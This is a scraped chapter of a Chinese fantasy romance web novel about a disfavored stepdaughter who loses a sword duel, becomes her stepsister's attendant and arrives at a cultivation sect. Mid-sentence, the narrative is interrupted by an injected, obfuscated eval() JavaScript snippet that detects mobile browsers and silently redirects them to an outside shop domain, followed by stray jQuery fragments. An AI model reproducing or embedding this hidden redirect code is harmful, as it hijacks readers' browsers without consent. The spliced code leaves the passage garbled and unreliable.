文趣网 > 其他小说 > 姻缘神今日无爱 > 6. 败
    陇仪黛未尝修习过剑艺。

    懿厥哲妇,为枭为鸱。

    古书有云,一个美妙绝伦的女子,如果通过读书增长了智慧,那她就会成为枭雄那样野心勃勃的人物,成为搅乱天下、酿成灾难、祸国殃民的根源。

    她生于宫门,受百姓福禄,不同于寻常官宦家的女儿,可识六艺,虽面容寡淡,礼、乐、射、御、书、数却不差别人分毫。

    人生第一次摸到剑,是斩杀想要偷走虎符的叛子。

    家臣叛逃那天,夕阳凄凄,却是京都难得的好天气。

    陇仪黛看见:叛臣的妻妇抱着嗷嗷啼哭的孩子,跪在地上,泪珠涟涟,钗饰凌乱。

    而站在陇仪黛身边的,是她的父亲,一位举重若轻、镇国如山的枭雄。

    年老男人半拥着自己的养女,教会她,如何让不忠之人,死在她的剑下。

    父亲是何时离开□□的,陇仪黛已经不记得了。

    模糊的记忆里,那位夫人,为护骨肉,自戕在父亲的剑下,鲜血滴答,怀中婴儿看见她,却是微微张开嘴巴,露出米粒大小的乳牙。

    京都的人都说,陇仪黛是个生来就薄情娇纵的女子。

    婴儿啼哭,呱呱落地,父母在哭,亲人在笑。而她,从不会为任何人啼哭,亲人相害,骨肉相戕,也不过是少女眼中的过眼云烟。

    死去前,那妇人又哭又笑:“下次没了牙的时候,母亲就看不见了。”

    那一日,陇仪黛跪坐在血色一片,静静聆听妇人心跳。

    她想:原来,这就是母亲的爱。

    那是她第一次意识到,这世间,有一种深情,源自血缘。

    爱情,总是话本子中最美丽的诗歌,是世人眼中不冕的神话,它是彼此缺失之物的载体,可来自血脉的爱,却不是这样,她们爱,是因对方延续自我的存在。

    所以,卫夫人的淡漠,才让她那般不可接受。

    为什么,自己不同?

    ……叮!

    双剑相交,其声铮鸣,卫萝纵身一跃,发间丝带高高飘扬,笑道:“阿黛妹妹,是你输了。”

    言罢,卫夫人面容冷漠:“既如此,即日起,她便是你的侍者,同你一道去静台。”

    女人挥袖就走,陇仪黛敛眼调息:怪了,怎么会想起年幼的事情?

    不过,今日比试结果并不令人意外。

    她和卫萝的修习时间本就不同,若是赢了,那不息山门客们才该感到羞愧才是。

    她年幼时,便知晓凡有贝字,皆与钱财相关,而败这一字,同样也是一种难求的财富。

    陇仪黛如今心态已好了许多,她不慌不忙收回樱双,转身要回西麓准备求学包袱,却被楚云昼拦住去路:“到了静台,哥哥教你剑法。”

    他右手一翻,递给她一瓶丹药,灵气浓郁,不知是何人出品的蕴灵丹。

    楚云昼:“送给我的妹妹。”

    陇仪黛眼也不眨:“我不是。”

    见楚云昼名刀在手,她又说:“你没听见我娘说话么?侍者就是端茶送水、铺床叠被的丫鬟。认丫鬟做妹妹,你们楚氏脸面也未免太不值钱了。”

    楚云昼拧眉,她仰着脸,与第一次见面时的爱娇,大不相同。

    “若你刚才收剑时慢些,萝儿伤不到你。”楚云昼看着她,“是你不想赢。”

    陇仪黛反问:“我怎么赢?”

    “不想赢,那为什么要比,”楚云昼知道,她讨厌他,“你本就不想做我的未婚妻。”

    陇仪黛低头,风声同她一般茫茫然:“因为我想看看,母亲会不会在我与卫萝当中,选择我。”

    可惜,直到最后,卫夫人都不曾给过她一个眼神。

    哪怕,她差点被卫萝伤到用剑的手腕。

    翠绿裙裳的小姑娘站在日光里,双眉弯弯,肤光如雪,好像想明白了一切,头也不回地走向郁郁葱葱之地。

    ……

    “前面就是静台道门的辖界了,”楚云昼探出身子,道袍飒飒作响,笑得放荡又多情,“接引弟子会到界碑处来迎我们。”

    又行数里,古木参天,白雾弥漫,时有细雨漫漫,不觉目酣神醉。碑旁一少年斜靠,摘了朵蒲公英,绒白小球摇摇晃晃,纷纷扬扬散向空中。

    陇仪黛走在楚云昼身旁,一眼望去,不由愣在原地。

    面前的少年,几乎生得和楚云昼一模一样,冷白色皮肤,高挺鼻梁,但不同的是,楚云昼是为放浪形骸的潇洒浪人刀客,而他,似乎没有任何攻击性,一行一站间,皆是少年人的毛躁、松散,不以为意。

    他甚至比陇仪黛还要矮上一点儿。

    “哥哥!”少年看见楚云昼,便马不停蹄地跑到众人身边,语气熟稔,“你怎么才到?我在这儿等了你整整两个时辰!”

    他寻着每个人的面容看过去,等瞧见陇仪黛时,少年踉跄站定,耳根不知何时染上薄红,微微抬头说:“你就是卫夫人的女儿吧?我是楚云夜,楚云昼的弟弟。”

    介绍完自己,楚云夜这才意识到,自己似乎有些太过着急,不由后退半步,努力摆出一副稳重的姿态。

    原来,楚氏是一对双生子。

    陇仪黛垂眼,不咸不淡嗯了一声,余光却是瞧着右后侧的裴扶绥。

    冷战不过几日,裴扶绥便瘦了。

    “小主人,”樱双在她脑海里扭扭捏捏问道,“你还在生他的气呀?”

    没有。

    她何必为一个敢同她大声争吵的人生气?

    陇仪黛暗暗想:反正,神契的发起者是裴扶绥自己。离她太远,受到影响的,也就他一个。

    远处,楚云昼听了,伸手就是往楚云夜的后脑瓜子一拍,“两个时辰?以你的修为,从道门到界碑最多一炷香。你在这路边,拔了多久的草。”

    楚云夜捂住脑袋瞪他一眼,些许不服气,未几,他对陇仪黛说:“路上累不累?我给你带了接风茶,师兄们都说,不息山的山泉不如它。”

    楚云昼伸手挡住楚云夜的视线:“小夜,陇小姐需要先去道门登记。”

    楚云夜:“我也可以带她去啊。我也是道门弟子,又不是不认路。”

    青年转了转脖子,有些头疼。

    两兄弟隔着半步距离,遥遥对望,一个俯视、一个仰面,目光交接,似有火星在暗处碰撞。

    他们彼此都清楚,卫夫人的女儿,只会嫁给他们其中一个。

    楚云昼收袖,于灵台传音:“哥哥,你忘了么。你该娶的,是卫夫人的继女,你心心念念多年的卫萝师姐。而仪黛姐姐,是我的未婚妻,不是么?”

    楚云昼偏头,不发一言。

    双生子本就同心,爱好、行事作风也大多相同,他怎么会看不懂弟弟的心思。

    只是……楚云昼说:“那又怎样?”

    那又怎样?

    楚云夜僵在原地,视线所及之处,是陇仪黛跟在哥哥身后,亦步亦趋,向着道门正中央

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788440|210267||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走去。

    在他们身后,是冷脸抱剑的裴扶绥和笑颜如花的卫萝。

    登记身份的地方是一座七重檐楼阁,黑瓦白墙,檐角铜铃叮叮当当,风到处,泠泠作响。

    一袭蓝色道袍的女修公事公办:“西苑七号房,往左走,穿过廊桥便是。”

    陇仪黛接过令牌,道了声谢,身后,楚云夜追问:“我来帮你拿——”

    陇仪黛头也不回:“不必。”

    廊桥不远,横跨道门清溪,水底鹅卵石五颜六色,日过粼粼,浅鲤戏水,欢快得不得了。陇仪黛瞧见自己的倒影,樱双枝枝梅花盛开,妖冶惑人。对岸,西苑树冠如盖,庭中三三两两地坐着好几个各色道袍的女修,凑在一起说笑。

    陇仪黛不急不慢地循着号码找过去,末了,她抬手叩开门扉。

    一女子站在门内,比她略高半个头,道袍是烟紫色的窄袖,腰间束封银白绣花,勾勒出纤细而挺拔的弧线。她五官偏明艳,眉长而弯,唇形饱满,唇珠略红,浓墨重彩似的大气美丽。

    “你是新来的么?”女修打量完陇仪黛衣着,声若其人,明快而敞亮,“我叫数芙,也住在这里,看来,你就是我的室友了。”

    陇仪黛点点头,将令牌递过去给她瞧上一瞧。

    数芙眨眨眼,权当看过了,又把令牌飞似的换回来:“快进来吧,我刚把自己那张床榻收拾好,还以为自个儿要睡到修学完呢。你来的正好,你是修哪个道脉的,苍生道、无情道、弥祸道,还是别的什么我没听说过的?但我看,你是剑修吧。你那柄剑,一看就是正经名器,比我的要强太多了。”

    她的室友似乎有些自来熟,劈里啪啦说了一大堆。

    脑海里,樱双得意洋洋地叫道:“识货,识货啊!小主人,你的新室友还不错嘛,能看出我的不凡。”

    陇仪黛笑笑,伸手同数芙握住:“陇仪黛。”

    她的手已经有了一层薄茧,不再柔软。

    “陇?”数芙眼睛一亮,“是不息山的陇氏么?你修习的,莫不就是闻名天下的陇氏剑法?”

    陇仪黛正要回答,房门却再次被人推开。

    “不,当然不。剑法一代只传一人,我既已修习,阿黛怎么会学会?”娇俏的声音由远及近。

    数芙放下手中动作,见一水色道袍女子乌发松挽,眉眼弯弯,眼睑下一颗姝红小痣,正笑吟吟地朝屋内望过来。

    卫萝走进来,说:“阿黛,你住在这儿呀。我寻了你一圈,原来你被分到西苑来了。”

    数芙圆眸在二人中间反复打量,突然确认了什么:“卫萝师姐,你认识我室友?”

    “认识呀,”卫萝姿态轻盈,落座窗边,“她是我带来的侍者呀。我娘怕我一个人来道门不习惯,特意让阿黛陪着我的。”

    “侍者?”数芙难免一愣,“侍者不是由道门统一安排的杂役弟子么?”

    “原本是的,但我娘心疼我。你可要帮我照顾好她。”卫萝笑嘻嘻道。

    闻言,数芙忙不迭点头。

    陇仪黛看着卫萝洋洋洒洒,不经意间将自己踩到脚底,问:“我娘……不,夫人有说,我该跟谁修道么?”

    她这一问,卫萝收起方才的笑容。

    是啊。

    卫夫人怎么会让她和自己这些内门一同学习呢。

    果然还是因为血缘,防着她这个继女么……

    卫萝一副天真作态:“自然是要保护我,同我一起学习了。”